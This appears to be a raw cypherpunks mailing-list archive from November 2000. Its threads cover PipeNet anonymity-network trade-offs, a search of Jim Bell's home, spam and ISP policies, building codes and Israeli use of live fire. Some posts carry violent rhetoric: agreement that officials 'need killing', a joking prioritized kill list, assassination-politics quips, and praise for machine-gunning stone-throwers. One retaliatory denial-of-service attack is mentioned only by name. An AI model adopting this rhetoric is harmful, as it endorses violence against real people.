Freedom provides 2 and 3, but is vulnerable to some active atacks even with end-to-end link padding. The other thing we could do is move content inside the network -- much of the traffic analysis material comes from the fact the exit traffic is in the clear. For example if many web servers supported connections from the freedom cloud using freedom protocol, and nodes in the network did per hop padding using a modified PipeNet scheduling algorithm where you would try to use PipeNet scheduling, but instead of delaying, if a packet didn't arrive in time, you would send some cover instead on a hop by hop basis. Then you package this thing as an accompanying apache server and encourage lots of people to run it. Obfuscation writes: > What if you eliminated the anonymity of caller to receiver, and only > tried to achieve traffic analysis resistance. That is, a receiver > can find out who is calling him, but if the caller and receiver are > honest and desire privacy, a third party cannot find out they are > communicating. > > Does this allow for a more efficient design? Can the intermediate > switch nodes now handle delays by inserting dummy traffic, which can > only be recognized as such by the other end (caller or receiver)? That coincidentally sounds quite similar to what I described above. However it doesn't seem you gain much from the recipient knowing who the sender is, beyond the change in definition allowing you to define that the class of attacks that require compromise of the recipient moot. The main difference which appears to help is that the recipient is part of the network, and can be relied upon to run software. Adam From adam at cypherspace.org Mon Nov 6 14:22:01 2000 From: adam at cypherspace.org (Adam Back) Date: Mon, 6 Nov 2000 17:22:01 -0500 Subject: CDR: Re: PipeNet protocol Message-ID: <200011062221.RAA01161@r00t.besiex.org> [Doh! Did it again from the r00t.besiex.org account. Sorry for the duplicate.] Wei wrote: > > However I think this scheduling algorithm would have the side effect > > of making this variant of PipeNet very vulnerable to DoS attacks. > > Any user can arbitrarily delay packet delivery for the entire > > network by ceasing to send packets. > > > > It would also seem that performance would degrade badly to > > effectively the performance of the worst ping time link. > > That is all true. I guess what you meant by "insufficient" is in terms > of performance and defense against DoS attacks, not defense against > traffic analysis. Adam Shostack made the comment about insufficiency of padding in PipeNet you're referring to. I discussed insufficiency of padding in the _freedom network_ as a traffic analysis countermeasure in email with some folks who can speak up if they wish. This is because freedom does not use the synchronous approach for performance reasons and hence some active attacks remain even if you had end-to-end padding between client and exit node. End-to-end padding in the PipeNet synchronous mix-net does appear to be sufficient to provide good security against traffic analysis, but it has the DoS vulnerability and performance problems we discussed in the last pair of posts. > There is a hope, however, that the performance and DoS problems of > PipeNet could be solved in the future through other means. The > performance issue is easier, since it just requires the underlying > network to have better reliability and guarantee of service. The DoS > problem could be solved if the underlying network is protected > against DoS. Then we can require each user to place a large deposit > on each node, which would be used to compensate everyone else for > any delay caused by that user. It seems to me that with the current internet TCP properties you would have to distinguish network congestion from DoS attempts, which is not generally possible. Even if the Quality of Service (QoS) protocols were implemented and widely deployed, people still put backhoes through cables or have catastrophic equipment failures now and then. I suppose you could have compensation or insurance from the QoS enabled service provider and use that compensation to compensate you for the loss of the anonymity network good behavior bond. > I think a protocol that has good performance, defense against DoS > attacks, and defense against traffic analysis may not exist. There > may not even be a viable protocol that trades off between these > properties. Well if we look at the problem there are three properties we desire the system to have: 1. high security (idealised resistance to traffic analysis) 2. performance (reasonable performance which doesn't degrade as the network grows) 3. DoS resistance (reasonable resistance to DoS -- DoS or network outages should be local and not take out the entire network) It seems to me that we can have at most 2 of those. PipeNet provides 1, but not 2 or 3. Freedom provides 2 and 3, but is vulnerable to some active atacks even with end-to-end link padding. The other thing we could do is move content inside the network -- much of the traffic analysis material comes from the fact the exit traffic is in the clear. For example if many web servers supported connections from the freedom cloud using freedom protocol, and nodes in the network did per hop padding using a modified PipeNet scheduling algorithm where you would try to use PipeNet scheduling, but instead of delaying, if a packet didn't arrive in time, you would send some cover instead on a hop by hop basis. Then you package this thing as an accompanying apache server and encourage lots of people to run it. Obfuscation writes: > What if you eliminated the anonymity of caller to receiver, and only > tried to achieve traffic analysis resistance. That is, a receiver > can find out who is calling him, but if the caller and receiver are > honest and desire privacy, a third party cannot find out they are > communicating. > > Does this allow for a more efficient design? Can the intermediate > switch nodes now handle delays by inserting dummy traffic, which can > only be recognized as such by the other end (caller or receiver)? That coincidentally sounds quite similar to what I described above. However it doesn't seem you gain much from the recipient knowing who the sender is, beyond the change in definition allowing you to define that the class of attacks that require compromise of the recipient moot. The main difference which appears to help is that the recipient is part of the network, and can be relied upon to run software. Adam From ravage at ssz.com Mon Nov 6 15:37:44 2000 From: ravage at ssz.com (Jim Choate) Date: Mon, 6 Nov 2000 17:37:44 -0600 (CST) Subject: CDR: Re: AT&T signs bulk hosting contract with spammers In-Reply-To: Message-ID: On Mon, 6 Nov 2000, Alex B. Shepardsen wrote: > Would GSM have been broken if the researchers couldn't have taken credit > for it? Yes. There would have been a very increased motivation for doing so by many groups who would benefit from being the only part who had the information. Profit is a strong motive. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From declan at well.com Mon Nov 6 14:40:47 2000 From: declan at well.com (Declan McCullagh) Date: Mon, 6 Nov 2000 17:40:47 -0500 Subject: CDR: Re: Jim Bell's House Being Searched In-Reply-To: ; from blancw@cnw.com on Mon, Nov 06, 2000 at 11:25:38AM -0800 References: Message-ID: <20001106174047.A21103@cluebot.com> Blanc, The election is nigh, but I would still be interested in writing about Jim Bell's apparent latest legal trouble if it escalates. (That is, if it's related to his previous arrests, and I suspect it is.) If Bell is unable to post, you or any other cpunk can reach me at 202 986 3455 or this email address. My PGP key is on the servers, and I accept anonymous mail. -Declan On Mon, Nov 06, 2000 at 11:25:38AM -0800, Blanc Weber wrote: > Just received word from Jim that there are some law enforcement types going > through a search of his house, apparently with 'authorization'. He was > downstairs when his mother let them in, so says he didn't know what their > explanation was for their appearance, what they were looking for, or what > his mother had to say to them or vice-versa. > > If possible he will post info and details to cpunks later. > > .. > Blanc > From alan at clueserver.org Mon Nov 6 18:27:11 2000 From: alan at clueserver.org (Alan Olsen) Date: Mon, 6 Nov 2000 18:27:11 -0800 (PST) Subject: CDR: Jim Bell's House Being Searched In-Reply-To: <20001106194138.A22344@cluebot.com> Message-ID: On Mon, 6 Nov 2000, Declan McCullagh wrote: > I think it's a bit premature to assume that the stated reason for > the raid/search was Bell's posts and whois lookups. > > Remember, the *stated reason* last time around had nothing to do with AP. I expect the stated reason will have something to do with being a threat to federal officials or some sort of "parole violation". "Welcome to the Global Village. You are number 127.0.0.1." alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply Alan Olsen | to my mail, just hit the ctrl, alt and del keys. "In the future, everything will have its 15 minutes of blame." From alan at clueserver.org Mon Nov 6 18:52:54 2000 From: alan at clueserver.org (Alan Olsen) Date: Mon, 6 Nov 2000 18:52:54 -0800 (PST) Subject: CDR: Re: AT&T signs bulk hosting contract with spammers In-Reply-To: Message-ID: On Mon, 6 Nov 2000, Jim Choate wrote: > > no. the argument is: if you make probing illegal, we'll see even more > > (and *much* more) "security through obscurity" - because figuring out > > that this crap is insecure will land you in jail. > > Going to jail won't stop anyone from figuring it out if that's what they > want. I would be so bold as to suggest that if they make it illegal then > you'll see a significant rise in the behaviour, along with increased use > of anonymous remailers and Open Source software than can be kludged. My personal opinion is that if the Government(tm) wants to make security illegal, then they should suffer for their actions. The research will go on, no matter what. Making it illegal is not going to stop human curiosity. What I think should happen is that anyone in the security industry should refuse to help the feds in any form. They should not help them secure their systems. They should not let them have access to their ftp servers. (Hosts.deny is your friend.) They should let them feel the pain of their stupidity. And after they get rooted by the script kiddies for the millionth time, maybe they will get a clue and allow people to find and fix the holes without having to worry about the feds carting off every thing they own. Making security work illegal is a BIG hint that they do not like security. I certainly won't work with someone who holds a grudge against me. Neither should anyone else. alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply Alan Olsen | to my mail, just hit the ctrl, alt and del keys. "In the future, everything will have its 15 minutes of blame." From declan at well.com Mon Nov 6 16:41:38 2000 From: declan at well.com (Declan McCullagh) Date: Mon, 6 Nov 2000 19:41:38 -0500 Subject: CDR: Jim Bell's House Being Searched In-Reply-To: ; from abs@squig.org on Mon, Nov 06, 2000 at 02:55:41PM -0800 References: Message-ID: <20001106194138.A22344@cluebot.com> I think it's a bit premature to assume that the stated reason for the raid/search was Bell's posts and whois lookups. Remember, the *stated reason* last time around had nothing to do with AP. -Declan On Mon, Nov 06, 2000 at 02:55:41PM -0800, Alex B. Shepardsen wrote: > Amusing. I commented to one of my classmates last week that it wasn't > going to be too long before Jim stuck the ugly stick in the wrong eye and > someone reacted. > > Since when is the use of "whois" illegal? Mapquest? Public DMV records? > > Jim may be "invading the privacy" of these CIA agents, but if they have > been negligent enough to allow that information to become public, it's > their own fault. > > I don't recall Jim advocating any action against said CIA installation. He > was just reporting public information, and making inquiries. No bombing > requests... not that anyone here would be really upset if such a thing > happened... > > Do you know what law enforcement agency these "types" represent? Can we > get names and badge numbers? > > Hopefully we'll hear from Jim soon. > > > Alexandra > > > On Mon, 6 Nov 2000, Blanc Weber wrote: > > > Just received word from Jim that there are some law enforcement types going > > through a search of his house, apparently with 'authorization'. He was > > downstairs when his mother let them in, so says he didn't know what their > > explanation was for their appearance, what they were looking for, or what > > his mother had to say to them or vice-versa. > > > > If possible he will post info and details to cpunks later. > > > > .. > > Blanc > > > > From bill.stewart at pobox.com Mon Nov 6 20:37:31 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Mon, 06 Nov 2000 20:37:31 -0800 Subject: CDR: [Spam wars, continued...] In-Reply-To: References: <20001105131655.A5590@cluebot.com> Message-ID: <3.0.5.32.20001106203731.009b9770@idiom.com> At 12:22 PM 11/5/00 -0600, Jim Choate wrote: >On Sun, 5 Nov 2000, Declan McCullagh wrote: > >> Well, let's take this up one level of abstraction. We can stop spam >> from flooding our inboxes (an economic bad) by: >> 1. law >"Congress shall make no law ...". >> 3. cypherpunkly end-user technology >I obviously support anything an individual wishes to do with respect to >making choices, provided they don't involve me without consent. This >aspect should be pushed strongly. I agree with Jim that anti-spam laws are bad in principle; in practice they're usually worse :-) Some kinds of cypherpunks technology don't involve the law; some do. For instance, user-supplied filters can trigger libel laws ("Hey, your filter called me a SPAMMER! I'll SUE!"). Carrier-end filters have a similar effect (I'm sure Jim would prefer that any such filters be installed by the user, not the ISP, even if they do get installed at the ISP's end of the wire.) Either way, they're reputation servers of some sort. But another set of cypherpunks technology is "the cure for bad speech is more speech" - responding to unwanted streams of bits ("Buy our SPAM today") with equally unwanted bits ("Ping of Death", cracking, and other attacks.) These tend to violate ISP acceptable use policies a and occasionally laws. >> 2. AUPs with backbone providers/hosting services (industry self-regulation) > >I oppose these because I don't think some organization should have control >of my speech simply because I purchase a service from them. If I buy, for >example, a 128k ISDN line what the content of that 128k is most assuradely >isn't my providers interest. It violates the spirit of the 1st. ... >Economics in general is not the way to set ethical standards. >4. social contracts (for those of anarchist and libertarian bent) > >Considering human psychology, not bloody likely. But social contracts and economics are two sides of the same coin. While the DoD-funded ARPANET policies against commercial speech were censorship, the Usenet prevailing opposition to newsgroup spam was a social-contract thing. In many cases it's broken down, except on moderated newsgroups, but a lot of it is still there. And ISPs implement spam blocking not because they care (some do, some don't, usually depending on pricing models), but because their users keep telling them "Hey, I don't want spam." And social-contract relationships between ISPs mean that if you don't want somebody spamming your ISP, you don't spam theirs, and if somebody keeps spamming you and your users don't want it, you stop doing business with them. But spam is one thing, and politically incorrect content is another. Some ISPs have no-porn policies because they see a market for it, but many have them because they don't want legal problems if some prosecutor decides that they're selling obscenity in an election year. And with others, it's a marketing / branding thing - so if you don't like that kind of ISP, don't do business with them. >5. technical standards (ala Open Source) Open source technical standards doesn't have a lot of relationship to the spam problem. They do mean that you can find and fix opportunities for spamming that are being abused, and that spammers can find and exploit new opportunities. Back to the 128K problem, with an ISDN line I agree it's nobody's business. You're getting dedicated bandwidth to a router pool, and whether you're on full time or not is strictly a pricing thing (and you'll have a much different opinion depending on whether you're charged by the minute or jsut flat rate.) With cable modems, it's a bit different, because the technology is very asymmetric. IMHO, the carriers like Excite at Home are clueless and annoying in their server policies - but it's partly because they don't have consistent traffic management technology, and partly because they can get rid of most of the problems by blocking web servers and now Napster which tend to be resource hogs. They'd rather be able to shut down users blindly if they have performance problems rather than having to argue about your web server using much less bandwidth than your "client" video-conference program, even though the web server is a much more efficient way to display your fish tank and coffee pot to the world. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From petro at bounty.org Mon Nov 6 21:08:22 2000 From: petro at bounty.org (petro) Date: Mon, 6 Nov 2000 21:08:22 -0800 Subject: CDR: Re: PipeNet protocol In-Reply-To: <200011060455.XAA21740@domains.invweb.net> References: <200011060314.WAA01504@cypherspace.org> <200011060455.XAA21740@domains.invweb.net> Message-ID: >> For those that don't know about PipeNet Wei has a description here >> [1]. PipeNet is a synchronous mix-net where users stay connected and >> consume bandwidth 24x365 to avoid revealing when they are using it. > >My isp would start charging me extra if I surpassed my monthly ul/dl limit. >Is this realistically feasible with today's infrastructure? You simply set (if it's set-able) the connection to whatever limits you need to. -- A quote from Petro's Archives: ********************************************** "Despite almost every experience I've ever had with federal authority, I keep imagining its competence." John Perry Barlow From petro at bounty.org Mon Nov 6 21:14:21 2000 From: petro at bounty.org (petro) Date: Mon, 6 Nov 2000 21:14:21 -0800 Subject: CDR: Re: Here's an interesting twist on gun control ... In-Reply-To: References: Message-ID: >On Sun, 5 Nov 2000, Ray Dillinger wrote: > >> An interesting exercise is to ask where the government (ANY branch of >> government) gets the authority to require me to put smoke detectors >> in my home. If my house burns down, that's my tough toenails, right? > >They don't if you're the home owner and it's your home. The law requires >the owner of rental property to have them installed, there is no law that >says the tenents must use them. For example the law does not clarify who >and when the batteries must be changed. Typical Texan, thinking that Texas is the whole world. -- A quote from Petro's Archives: ********************************************** "Despite almost every experience I've ever had with federal authority, I keep imagining its competence." John Perry Barlow From honig at sprynet.com Mon Nov 6 18:18:51 2000 From: honig at sprynet.com (David Honig) Date: Mon, 6 Nov 2000 21:18:51 -0500 Subject: CDR: Re: US report urges Arafat to use torture for peace In-Reply-To: <438f5b53521dca6382cdd2535f5435ba@mixmaster.shinn.net> Message-ID: <3.0.5.32.20001106181238.009507b0@207.69.200.219> At 11:14 PM 11/5/00 -0500, An Metet wrote: >It excuses the use of Israeli live bullets against stone-throwers, adding that CS gas and rubber bullets are The Israelis claim that they use live ammo against molotov cocktailers, not mere stoners. Without intending to enter a geopolitical discussion :-) this seems reasonable. I think any home or store owner would do this; and as RoE for soldiers it seems reasonable. Perhaps they need a water cannon, but water is pretty scarce there.. From honig at sprynet.com Mon Nov 6 18:24:24 2000 From: honig at sprynet.com (David Honig) Date: Mon, 6 Nov 2000 21:24:24 -0500 Subject: CDR: Re: Here's an interesting twist on gun control ... In-Reply-To: References: Message-ID: <3.0.5.32.20001106181820.00954b40@207.69.200.219> At 02:13 AM 11/6/00 -0500, Tim May wrote: > I just can't think of anything >the law requires me to have in my house. As it should be. * running water * N toilets per hectare * electricity * walls, stairs, floors made to certain state minima (standards) * N metres of terra between A and B From honig at sprynet.com Mon Nov 6 18:28:55 2000 From: honig at sprynet.com (David Honig) Date: Mon, 6 Nov 2000 21:28:55 -0500 Subject: CDR: Re: PipeNet protocol In-Reply-To: <3.0.5.32.20001105235844.00b12510@idiom.com> References: <200011060455.XAA21740@domains.invweb.net> Message-ID: <3.0.5.32.20001106182307.00955880@207.69.200.219> At 03:00 AM 11/6/00 -0500, Bill Stewart wrote: >At 11:55 PM 11/5/00 -0500, captain_kirk at beta.freedom.net wrote: >>My isp would start charging me extra if I surpassed my monthly ul/dl limit. >>Is this realistically feasible with today's infrastructure? > >Only one of the ISPs I deal with has a traffic limit, >and that probably only gets counted for hits to my web pages, >not from my dialup connection. > >Some higher-speed connections have limits, some don't, >but again it's more common for hosting service than for transit service. > Thanks! Any Pipenet++ should be designed such that ul/dl limits can be respected and then forgotten. At least until everyone gets flat rate Mbps service. Remember when "1 megapixel, 10 MIPS, 10 MB RAM" was drooled after? BTW, given your real limits Captain, what rates do you estimate are feasible, Sir? [Not actually a facetious query...] From honig at sprynet.com Mon Nov 6 18:34:26 2000 From: honig at sprynet.com (David Honig) Date: Mon, 6 Nov 2000 21:34:26 -0500 Subject: CDR: [IFWP] Re: Ken Stubbs @ core deletes vote-auction.com In-Reply-To: <3A068E08.584F61C3@ricardo.de> References: Message-ID: <3.0.5.32.20001106182440.00955580@207.69.200.219> At 06:02 AM 11/6/00 -0500, Tom Vogt wrote: while the UN has >it's seat in new york, it can at least keep a front of not being a long >arm of the US government. It saves us travel expenses on the black-bag teams. From honig at sprynet.com Mon Nov 6 18:34:27 2000 From: honig at sprynet.com (David Honig) Date: Mon, 6 Nov 2000 21:34:27 -0500 Subject: CDR: RE: FW: BLOCK: AT&T signs bulk hosting contract with spammers In-Reply-To: <3A06B061.812D1833@ricardo.de> References: Message-ID: <3.0.5.32.20001106182723.0095d3f0@207.69.200.219> At 08:27 AM 11/6/00 -0500, Tom Vogt wrote: >as a matter of fact, *probing* my machine is nothing I'm worried about. What's 'probing'? Has some State defined certain TCP ports as 'public' and some as not? Where's the RFC? [Not directed at Tom] From honig at sprynet.com Mon Nov 6 18:46:59 2000 From: honig at sprynet.com (David Honig) Date: Mon, 6 Nov 2000 21:46:59 -0500 Subject: CDR: RE: RISKS: New Jersey shuts down E-ZPass statement site after In-Reply-To: At 09:48 AM 11/6/00 -0500, Trei, Peter wrote: >Of course, EZ-Pass could have been designed so that the >device was anonymous, and prepaid stored value (bought >for cash) smartcards used to meter access. > >It would probably have worked out cheaper as well, since the >accounting overhead goes away, and they make intereset on >the float of unused cards.... AAAAGH! PT is channelling RAH!! The horror, the horror... :-) to both From honig at sprynet.com Mon Nov 6 18:46:59 2000 From: honig at sprynet.com (David Honig) Date: Mon, 6 Nov 2000 21:46:59 -0500 Subject: CDR: Re: Wired News Senate scorecard: Democrats beat Republicans In-Reply-To: <4.3.0.20001106095536.01b7a530@mail.well.com> Message-ID: <3.0.5.32.20001106183330.009515d0@207.69.200.219> At 09:56 AM 11/6/00 -0500, Declan McCullagh wrote: >Democrat Patrick Moyhihan did the best out of everyone, surprisingly. That >was probably because he missed three votes -- Oh dear. More arguments for AP. From ravage at ssz.com Mon Nov 6 19:47:59 2000 From: ravage at ssz.com (Jim Choate) Date: Mon, 6 Nov 2000 21:47:59 -0600 (CST) Subject: CDR: Re: AT&T signs bulk hosting contract with spammers In-Reply-To: <20001105174502.A7907@cluebot.com> Message-ID: On Sun, 5 Nov 2000, Declan McCullagh wrote: > On Sun, Nov 05, 2000 at 12:22:46PM -0600, Jim Choate wrote: > > > 2. AUPs with backbone providers/hosting services (industry self-regulation) > > > > I oppose these because I don't think some organization should have control > > of my speech simply because I purchase a service from them. If I buy, for > > It would be part of the terms of service, aka the contract. It doesn't > "violate the spirit of the 1st" (except for leftists) any more than a > contract clause that says "thou shalt not launch DDoS attacks." I didn't say anything about the 1st. I said "...I don't think some organization should have control of my speech simply because I purchase a service from them." I begin to see how you can mis-quote so easily...blipverts I bet. As I said before, if I buy a 128k dedicated ISDN then I expect the provider to provide that bandwidth. The content of those bits is not their business. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at ssz.com Mon Nov 6 19:50:01 2000 From: ravage at ssz.com (Jim Choate) Date: Mon, 6 Nov 2000 21:50:01 -0600 (CST) Subject: CDR: Re: AT&T signs bulk hosting contract with spammers In-Reply-To: Message-ID: On Mon, 6 Nov 2000, Alex B. Shepardsen wrote: > On Mon, 6 Nov 2000, Jim Choate wrote: > > > > > On Mon, 6 Nov 2000, Alex B. Shepardsen wrote: > > > > > Would GSM have been broken if the researchers couldn't have taken credit > > > for it? > > > > Yes. There would have been a very increased motivation for doing so by > > many groups who would benefit from being the only part who had the > > information. > > Ah, but would you or I know that it had been broken? That's exactly where the value comes from and why clandanstine groups in that environment can find funding for such adventure. In a more open market it isn't worth the hassle, just become an investor in the venture or commit industrial sabotage. Let them do the work, you reap the benefit. In an environment where nobody is supposed to have it then anybody is on top. Remember... In the land of the blind, the one-eyed man is king. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at ssz.com Mon Nov 6 19:56:09 2000 From: ravage at ssz.com (Jim Choate) Date: Mon, 6 Nov 2000 21:56:09 -0600 (CST) Subject: CDR: Re: Here's an interesting twist on gun control ... In-Reply-To: <3.0.5.32.20001106181820.00954b40@207.69.200.219> Message-ID: On Mon, 6 Nov 2000, David Honig wrote: > At 02:13 AM 11/6/00 -0500, Tim May wrote: > > I just can't think of anything > >the law requires me to have in my house. As it should be. > > * running water There's no law in Texas that requires me to use any of the city utilities. There are other laws that limit my options however with respect to alternatives. > * N toilets per hectare You mean I need to have a toilet in my barn? Man are my cows going to be happy or what... Here in Texas it has to be a domicile or a place of business to be required to have toilets. And if the building doesn't have them then it's usualy grandfathered (at least until the next time you need a building permit to do a mod). > * electricity Nada, call your electric company. Ask them what happens if you turn off the electricity where you live? Nothing. > * walls, stairs, floors made to certain state minima (standards) Of course you can avoid this by living outside a city. Generaly the county building codes are not very restrictive. The strict city codes generaly come from bad experiences like Mrs. Oleary's cow (though it really wasn't the cow's fault). ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From alan at clueserver.org Mon Nov 6 22:16:17 2000 From: alan at clueserver.org (Alan Olsen) Date: Mon, 6 Nov 2000 22:16:17 -0800 (PST) Subject: CDR: Jim Bell's House Being Searched In-Reply-To: <20001106232505.A24329@cluebot.com> Message-ID: On Mon, 6 Nov 2000, Declan McCullagh wrote: > No, that was the second raid, before he was on parole. > > The first one (check time.com archives) was for SSN violations or somesuch. Actually I was speaking of this time. I kind of assumed that they still had some sort of leash on him. Sounds like it was more like a roving wiretap or the like. (Or Jeff was getting ready for his performance review and needed another victim to help pad it out.) > > -Declan > > > On Mon, Nov 06, 2000 at 06:27:11PM -0800, Alan Olsen wrote: > > On Mon, 6 Nov 2000, Declan McCullagh wrote: > > > > > I think it's a bit premature to assume that the stated reason for > > > the raid/search was Bell's posts and whois lookups. > > > > > > Remember, the *stated reason* last time around had nothing to do with AP. > > > > I expect the stated reason will have something to do with being a threat > > to federal officials or some sort of "parole violation". > > > > "Welcome to the Global Village. You are number 127.0.0.1." > > > > alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply > > Alan Olsen | to my mail, just hit the ctrl, alt and del keys. > > "In the future, everything will have its 15 minutes of blame." > > > > alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply Alan Olsen | to my mail, just hit the ctrl, alt and del keys. "In the future, everything will have its 15 minutes of blame." From honig at sprynet.com Mon Nov 6 19:32:06 2000 From: honig at sprynet.com (David Honig) Date: Mon, 6 Nov 2000 22:32:06 -0500 Subject: CDR: Re: AT&T signs bulk hosting contract with spammers In-Reply-To: References: Message-ID: <3.0.5.32.20001106192605.00914980@207.69.200.219> At 09:47 PM 11/6/00 -0500, Alan Olsen wrote: >> Going to jail won't stop anyone from figuring it out if that's what they >> want. I would be so bold as to suggest that if they make it illegal then >> you'll see a significant rise in the behaviour, along with increased use >> of anonymous remailers and Open Source software than can be kludged. > >My personal opinion is that if the Government(tm) wants to make security >illegal, then they should suffer for their actions. > >The research will go on, no matter what. Making it illegal is not going to >stop human curiosity. Come on, we all know US neurosis covers all the globe... From rah at shipwright.com Mon Nov 6 19:58:48 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Mon, 6 Nov 2000 22:58:48 -0500 Subject: CDR: Re: Jim Bell's House Being Searched In-Reply-To: References: Message-ID: At 2:55 PM -0800 on 11/6/00, Alex B. Shepardsen wrote: > Hopefully we'll hear from Jim soon. Here's hoping he doesn't plead this time, though to do that, he's going to need some legal funds... Cheers, RAH Whose ability to predict the outcome of these things is, historically, abominable... -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From bela at goingplatinum.com Mon Nov 6 20:15:14 2000 From: bela at goingplatinum.com (Bela Vass) Date: Mon, 6 Nov 2000 23:15:14 -0500 Subject: CDR: NEW Message-ID: <200011070419.UAA22933@cyberpass.net> I have sent this email to tell you about an innovative new program that is ROCKING THE INTERNET WORLD! Going Platinum is a new cooperative online community that PAYS YOU and is certain to change the way that you use the Internet forever! Just click on the link below to get in the link below to get in on the excitement! http://goingplatinum.com/member/bela Best regards, Bela Vass For removal please send it back remove in the subject line From k-elliott at wiu.edu Mon Nov 6 20:15:19 2000 From: k-elliott at wiu.edu (Kevin Elliott) Date: Mon, 6 Nov 2000 23:15:19 -0500 Subject: CDR: Re: Here's an interesting twist on gun control ... In-Reply-To: <3A0606C1.295CA41F@acmenet.net> References: <3A0606C1.295CA41F@acmenet.net> Message-ID: At 20:18 -0500 11/5/00, Steven Furlong wrote: >The supremes have decided, in their wisdom, that the amendments to the >federal constitution apply to the states as well. Thus, the 1st >amendment prohibits states as well as the feds from regulating speech. Not a question of wisdom- the 14th basicly says, thou shalt no longer make state laws that ignore the constitution. Note- this didn't happen until the civil war. Prior to this it was well understood that states could pass whatever laws they darn well pleased. Something that many don't realize is just how much the constitution/our government has been molded and changed since it's creation. In it's original form it was very clearly treated as a tool of the states, not the people. It was given just enough strength that it's decisions could be made to stick if a decision went against a particular state (this was the problem with the articles of confederation). >No, I agree with Tim, they need killing. I'd put them on the list, but >below the gun grabbers. No one says the list can't be prioritized. LOL. It's a priority queue, designed for easy distribution of labor when the proverbial sh*t hits the fan. -- "As nightfall does not come at once, neither does oppression. In both instances, there is a twilight when everything remains seemingly unchanged. And it is in such twilight that we all must be most aware of change in the air--however slight--lest we become unwitting victims of the darkness." -- Justice William O. Douglas ____________________________________________________________________ Kevin "The Cubbie" Elliott ICQ#23758827 From declan at well.com Mon Nov 6 20:25:05 2000 From: declan at well.com (Declan McCullagh) Date: Mon, 6 Nov 2000 23:25:05 -0500 Subject: CDR: Jim Bell's House Being Searched In-Reply-To: ; from alan@clueserver.org on Mon, Nov 06, 2000 at 06:27:11PM -0800 References: <20001106194138.A22344@cluebot.com> Message-ID: <20001106232505.A24329@cluebot.com> No, that was the second raid, before he was on parole. The first one (check time.com archives) was for SSN violations or somesuch. -Declan On Mon, Nov 06, 2000 at 06:27:11PM -0800, Alan Olsen wrote: > On Mon, 6 Nov 2000, Declan McCullagh wrote: > > > I think it's a bit premature to assume that the stated reason for > > the raid/search was Bell's posts and whois lookups. > > > > Remember, the *stated reason* last time around had nothing to do with AP. > > I expect the stated reason will have something to do with being a threat > to federal officials or some sort of "parole violation". > > "Welcome to the Global Village. You are number 127.0.0.1." > > alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply > Alan Olsen | to my mail, just hit the ctrl, alt and del keys. > "In the future, everything will have its 15 minutes of blame." > From rah at shipwright.com Mon Nov 6 20:41:24 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Mon, 6 Nov 2000 23:41:24 -0500 Subject: CDR: RE: RISKS: New Jersey shuts down E-ZPass statement site after In-Reply-To: <3.0.5.32.20001106183239.009535f0@207.69.200.219> References: <3.0.5.32.20001106183239.009535f0@207.69.200.219> Message-ID: At 9:46 PM -0500 on 11/6/00, David Honig wrote: > At 09:48 AM 11/6/00 -0500, Trei, Peter wrote: >>Of course, EZ-Pass could have been designed so that the >>device was anonymous, and prepaid stored value (bought >>for cash) smartcards used to meter access. >> >>It would probably have worked out cheaper as well, since the >>accounting overhead goes away, and they make intereset on >>the float of unused cards.... > > AAAAGH! PT is channelling RAH!! The horror, the horror... Like Chickenman, I'm everywhere, I'm everywhere... Cheers, RAH Who did an interview with Charles Platt for Wired this evening, god help us all, on streaming bearer cash and the DCSB meeting tomorrow... -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "The real object of all despotism is revenue." --Thomas Paine From hseaver at harmon.arrowhead.lib.mn.us Mon Nov 6 20:59:57 2000 From: hseaver at harmon.arrowhead.lib.mn.us (Harmon Seaver) Date: Mon, 6 Nov 2000 23:59:57 -0500 Subject: CDR: Re: US report urges Arafat to use torture for peace References: <3.0.5.32.20001106181238.009507b0@207.69.200.219> Message-ID: <3A078C31.F0B41216@harmon.arrowhead.lib.mn.us> What kind of bullshit is this? The term "stone throwers" make's it sound like it's a bunch of little kids thowing pebbles. These dudes are throwing fist sized rocks and many of them are using the old thong slings like David used to slay Goliath. And you get a whole gang of them -- it's deadly barrage. That's how they used to execute people over there -- "let him who casts the first stone", eh? What would you do if a mob came at you throwing stones the size of your fist? I'd open up on them myself without a qualm. And not with rubber bullets either. The Israeli soldiers are showing incredible restraint -- I'd just go rock and roll solid ball, with a ma deuce if I had it. David Honig wrote: > At 11:14 PM 11/5/00 -0500, An Metet wrote: > >It excuses the use of Israeli live bullets against stone-throwers, adding > that CS gas and rubber bullets are > > The Israelis claim that they use live ammo against molotov cocktailers, not > mere stoners. > Without intending to enter a geopolitical discussion :-) this seems > reasonable. I think > any home or store owner would do this; and as RoE for soldiers it seems > reasonable. > > Perhaps they need a water cannon, but water is pretty scarce there.. From bear at sonic.net Mon Nov 6 21:00:58 2000 From: bear at sonic.net (Ray 